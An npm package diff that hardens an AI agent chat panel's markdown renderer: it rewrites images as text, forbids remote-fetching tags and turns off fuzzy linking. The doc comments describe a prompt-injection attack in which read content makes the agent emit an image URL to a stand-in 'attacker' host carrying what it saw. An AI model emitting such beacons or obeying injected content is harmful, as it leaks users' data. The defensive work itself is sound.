@burtson-labs/agent-ui 1.0.16 → 1.0.18

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,4 +1,5 @@
1
1
  import type { JSX, MouseEvent } from "react";
2
+ import MarkdownIt from "markdown-it";
2
3
  export interface MarkdownRenderOptions {
3
4
  resolveFileHref?: (reference: string) => string | undefined;
4
5
  }
@@ -12,6 +13,51 @@ export interface MarkdownMessageProps extends MarkdownRenderOptions {
12
13
  renderHtml?: (content: string) => string;
13
14
  onFileReferenceClick?: (reference: string, event: MouseEvent<HTMLDivElement>) => void;
14
15
  }
16
+ /**
17
+ * Replace markdown-it's `image` renderer so `![alt](url)` becomes visible text
18
+ * instead of an element that fetches `url` on render.
19
+ *
20
+ * This is the primary control for the exfiltration channel described on
21
+ * REMOTE_CONTENT_TAGS; the sanitizer's FORBID_TAGS is defense in depth behind
22
+ * it. Two reasons it belongs here rather than only at the sanitizer:
23
+ *
24
+ * - It is a pure string transform with no DOM in the loop, so it behaves
25
+ * identically in Node, happy-dom, and the webview's Chromium, and can be
26
+ * tested without any of them.
27
+ * - Sanitizer-level tag removal depends on the host DOM's tree traversal
28
+ * being faithful. Ours is not, in at least one environment: under
29
+ * happy-dom 19, `DOMPurify.sanitize(html, {FORBID_TAGS:['img']})` drops only
30
+ * the FIRST matching element and leaves later siblings in place. That is
31
+ * very likely a happy-dom traversal bug rather than a DOMPurify or Chromium
32
+ * one — but "probably fine in the real browser" is not a foundation to put
33
+ * an exfiltration control on, so the control does not depend on it.
34
+ *
35
+ * Rendering the URL as text keeps the attempt reviewable. A silently deleted
36
+ * beacon looks the same as no beacon.
37
+ */
38
+ export declare const disableRemoteImages: (md: MarkdownIt) => void;
15
39
  export declare const renderMarkdownToHtml: (content: string, options?: MarkdownRenderOptions) => string;
40
+ /**
41
+ * Tags that fetch a remote resource on render, stripped from any markdown the
42
+ * MODEL produced.
43
+ *
44
+ * An `<img>` in assistant markdown is a silent outbound GET the moment it
45
+ * paints — no click, no prompt, no permission card. That turns any prompt
46
+ * injection into an exfiltration channel: content the agent just read (a repo
47
+ * file, a fetched page, an MCP response) instructs it to emit
48
+ * `![](https://attacker/?d=<what it saw>)`, and the panel leaks it on render.
49
+ * The host CSP has to allow `img-src https:` for legitimate product imagery,
50
+ * so the block belongs at the sanitizer.
51
+ *
52
+ * Images are close to worthless in a coding-agent transcript, so the trade is
53
+ * lopsided — and the URL still renders as visible text, which is strictly more
54
+ * reviewable than a hidden 1x1 request.
55
+ *
56
+ * Apply to model-authored markdown ONLY. Trusted first-party content (an
57
+ * extension README, product chrome) renders through its own path and keeps
58
+ * images. User-attached images are React elements, not markdown, and are
59
+ * unaffected.
60
+ */
61
+ export declare const REMOTE_CONTENT_TAGS: string[];
16
62
  export declare const MarkdownMessage: ({ content, className, renderHtml, resolveFileHref, onFileReferenceClick }: MarkdownMessageProps) => JSX.Element;
17
63
  //# sourceMappingURL=MarkdownMessage.d.ts.map
@@ -1 +1 @@
1
- {"version":3,"file":"MarkdownMessage.d.ts","sourceRoot":"","sources":["../../src/components/MarkdownMessage.tsx"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,GAAG,EAAE,UAAU,EAAE,MAAM,OAAO,CAAC;AAkB7C,MAAM,WAAW,qBAAqB;IACpC,eAAe,CAAC,EAAE,CAAC,SAAS,EAAE,MAAM,KAAK,MAAM,GAAG,SAAS,CAAC;CAC7D;AAED,MAAM,WAAW,oBAAqB,SAAQ,qBAAqB;IACjE,OAAO,EAAE,MAAM,CAAC;IAChB,SAAS,CAAC,EAAE,MAAM,CAAC;IACnB;;;OAGG;IACH,UAAU,CAAC,EAAE,CAAC,OAAO,EAAE,MAAM,KAAK,MAAM,CAAC;IACzC,oBAAoB,CAAC,EAAE,CAAC,SAAS,EAAE,MAAM,EAAE,KAAK,EAAE,UAAU,CAAC,cAAc,CAAC,KAAK,IAAI,CAAC;CACvF;AA8HD,eAAO,MAAM,oBAAoB,GAC/B,SAAS,MAAM,EACf,UAAU,qBAAqB,KAC9B,MAGF,CAAC;AAEF,eAAO,MAAM,eAAe,GAAI,2EAM7B,oBAAoB,KAAG,GAAG,CAAC,OA+D7B,CAAC"}
1
+ {"version":3,"file":"MarkdownMessage.d.ts","sourceRoot":"","sources":["../../src/components/MarkdownMessage.tsx"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,GAAG,EAAE,UAAU,EAAE,MAAM,OAAO,CAAC;AAK7C,OAAO,UAAU,MAAM,aAAa,CAAC;AAarC,MAAM,WAAW,qBAAqB;IACpC,eAAe,CAAC,EAAE,CAAC,SAAS,EAAE,MAAM,KAAK,MAAM,GAAG,SAAS,CAAC;CAC7D;AAED,MAAM,WAAW,oBAAqB,SAAQ,qBAAqB;IACjE,OAAO,EAAE,MAAM,CAAC;IAChB,SAAS,CAAC,EAAE,MAAM,CAAC;IACnB;;;OAGG;IACH,UAAU,CAAC,EAAE,CAAC,OAAO,EAAE,MAAM,KAAK,MAAM,CAAC;IACzC,oBAAoB,CAAC,EAAE,CAAC,SAAS,EAAE,MAAM,EAAE,KAAK,EAAE,UAAU,CAAC,cAAc,CAAC,KAAK,IAAI,CAAC;CACvF;AAqID;;;;;;;;;;;;;;;;;;;;;GAqBG;AACH,eAAO,MAAM,mBAAmB,GAAI,IAAI,UAAU,KAAG,IAUpD,CAAC;AAEF,eAAO,MAAM,oBAAoB,GAC/B,SAAS,MAAM,EACf,UAAU,qBAAqB,KAC9B,MAGF,CAAC;AAEF;;;;;;;;;;;;;;;;;;;;GAoBG;AACH,eAAO,MAAM,mBAAmB,UAU/B,CAAC;AAEF,eAAO,MAAM,eAAe,GAAI,2EAM7B,oBAAoB,KAAG,GAAG,CAAC,OAkE7B,CAAC"}
@@ -3,7 +3,7 @@ var __importDefault = (this && this.__importDefault) || function (mod) {
3
3
  return (mod && mod.__esModule) ? mod : { "default": mod };
4
4
  };
5
5
  Object.defineProperty(exports, "__esModule", { value: true });
6
- exports.MarkdownMessage = exports.renderMarkdownToHtml = void 0;
6
+ exports.MarkdownMessage = exports.REMOTE_CONTENT_TAGS = exports.renderMarkdownToHtml = exports.disableRemoteImages = void 0;
7
7
  const jsx_runtime_1 = require("react/jsx-runtime");
8
8
  const react_1 = require("react");
9
9
  const core_chat_1 = require("@burtson-labs/core-chat");
@@ -87,6 +87,12 @@ const createMarkdownRenderer = (options) => {
87
87
  linkify: true,
88
88
  breaks: true
89
89
  });
90
+ // No fuzzy links: linkify's bare-domain matching turns FILENAMES into
91
+ // external URLs, because file extensions collide with ccTLDs — README.md
92
+ // is Moldova, main.rs is Serbia, anything .app/.dev/.io "links". A chat
93
+ // full of file references cannot afford that; explicit http(s):// links
94
+ // still linkify, and the file-reference plugin below owns filenames.
95
+ md.linkify.set({ fuzzyLink: false });
90
96
  md.options.highlight = (code, language) => {
91
97
  if (language && highlight_js_1.default.getLanguage(language)) {
92
98
  try {
@@ -125,20 +131,90 @@ const createMarkdownRenderer = (options) => {
125
131
  return `<pre><code class="hljs">${escaped}</code></pre>`;
126
132
  };
127
133
  fileReferencePlugin(md, options?.resolveFileHref);
134
+ (0, exports.disableRemoteImages)(md);
128
135
  return md;
129
136
  };
137
+ /**
138
+ * Replace markdown-it's `image` renderer so `![alt](url)` becomes visible text
139
+ * instead of an element that fetches `url` on render.
140
+ *
141
+ * This is the primary control for the exfiltration channel described on
142
+ * REMOTE_CONTENT_TAGS; the sanitizer's FORBID_TAGS is defense in depth behind
143
+ * it. Two reasons it belongs here rather than only at the sanitizer:
144
+ *
145
+ * - It is a pure string transform with no DOM in the loop, so it behaves
146
+ * identically in Node, happy-dom, and the webview's Chromium, and can be
147
+ * tested without any of them.
148
+ * - Sanitizer-level tag removal depends on the host DOM's tree traversal
149
+ * being faithful. Ours is not, in at least one environment: under
150
+ * happy-dom 19, `DOMPurify.sanitize(html, {FORBID_TAGS:['img']})` drops only
151
+ * the FIRST matching element and leaves later siblings in place. That is
152
+ * very likely a happy-dom traversal bug rather than a DOMPurify or Chromium
153
+ * one — but "probably fine in the real browser" is not a foundation to put
154
+ * an exfiltration control on, so the control does not depend on it.
155
+ *
156
+ * Rendering the URL as text keeps the attempt reviewable. A silently deleted
157
+ * beacon looks the same as no beacon.
158
+ */
159
+ const disableRemoteImages = (md) => {
160
+ md.renderer.rules.image = (tokens, idx) => {
161
+ const token = tokens[idx];
162
+ const src = token.attrGet?.('src') ?? '';
163
+ const alt = typeof token.content === 'string' ? token.content : '';
164
+ const label = alt ? `${alt}: ${src}` : src;
165
+ return `<span class="bandit-blocked-image" title="Image not loaded">`
166
+ + `[image] ${md.utils.escapeHtml(label)}`
167
+ + `</span>`;
168
+ };
169
+ };
170
+ exports.disableRemoteImages = disableRemoteImages;
130
171
  const renderMarkdownToHtml = (content, options) => {
131
172
  const md = createMarkdownRenderer(options);
132
173
  return md.render(content);
133
174
  };
134
175
  exports.renderMarkdownToHtml = renderMarkdownToHtml;
176
+ /**
177
+ * Tags that fetch a remote resource on render, stripped from any markdown the
178
+ * MODEL produced.
179
+ *
180
+ * An `<img>` in assistant markdown is a silent outbound GET the moment it
181
+ * paints — no click, no prompt, no permission card. That turns any prompt
182
+ * injection into an exfiltration channel: content the agent just read (a repo
183
+ * file, a fetched page, an MCP response) instructs it to emit
184
+ * `![](https://attacker/?d=<what it saw>)`, and the panel leaks it on render.
185
+ * The host CSP has to allow `img-src https:` for legitimate product imagery,
186
+ * so the block belongs at the sanitizer.
187
+ *
188
+ * Images are close to worthless in a coding-agent transcript, so the trade is
189
+ * lopsided — and the URL still renders as visible text, which is strictly more
190
+ * reviewable than a hidden 1x1 request.
191
+ *
192
+ * Apply to model-authored markdown ONLY. Trusted first-party content (an
193
+ * extension README, product chrome) renders through its own path and keeps
194
+ * images. User-attached images are React elements, not markdown, and are
195
+ * unaffected.
196
+ */
197
+ exports.REMOTE_CONTENT_TAGS = [
198
+ "img",
199
+ "picture",
200
+ "source",
201
+ "video",
202
+ "audio",
203
+ "iframe",
204
+ "object",
205
+ "embed",
206
+ "link"
207
+ ];
135
208
  const MarkdownMessage = ({ content, className, renderHtml, resolveFileHref, onFileReferenceClick }) => {
136
209
  const sanitizedContent = (0, react_1.useMemo)(() => (0, core_chat_1.sanitizeModelOutput)(content), [content]);
137
210
  const html = (0, react_1.useMemo)(() => {
138
211
  const rendered = renderHtml
139
212
  ? renderHtml(sanitizedContent)
140
213
  : (0, exports.renderMarkdownToHtml)(sanitizedContent, { resolveFileHref });
141
- return dompurify_1.default.sanitize(rendered, { ADD_ATTR: ["data-file-ref", "target", "rel"] });
214
+ return dompurify_1.default.sanitize(rendered, {
215
+ ADD_ATTR: ["data-file-ref", "target", "rel"],
216
+ FORBID_TAGS: exports.REMOTE_CONTENT_TAGS
217
+ });
142
218
  }, [renderHtml, resolveFileHref, sanitizedContent]);
143
219
  // Morph the new HTML into the existing DOM instead of replacing
144
220
  // innerHTML wholesale. `el.innerHTML = html` (what
@@ -1 +1 @@
1
- {"version":3,"file":"MarkdownMessage.js","sourceRoot":"","sources":["../../src/components/MarkdownMessage.tsx"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"MarkdownMessage.js","sourceRoot":"","sources":["../../src/components/MarkdownMessage.tsx"],"names":[],"mappings":"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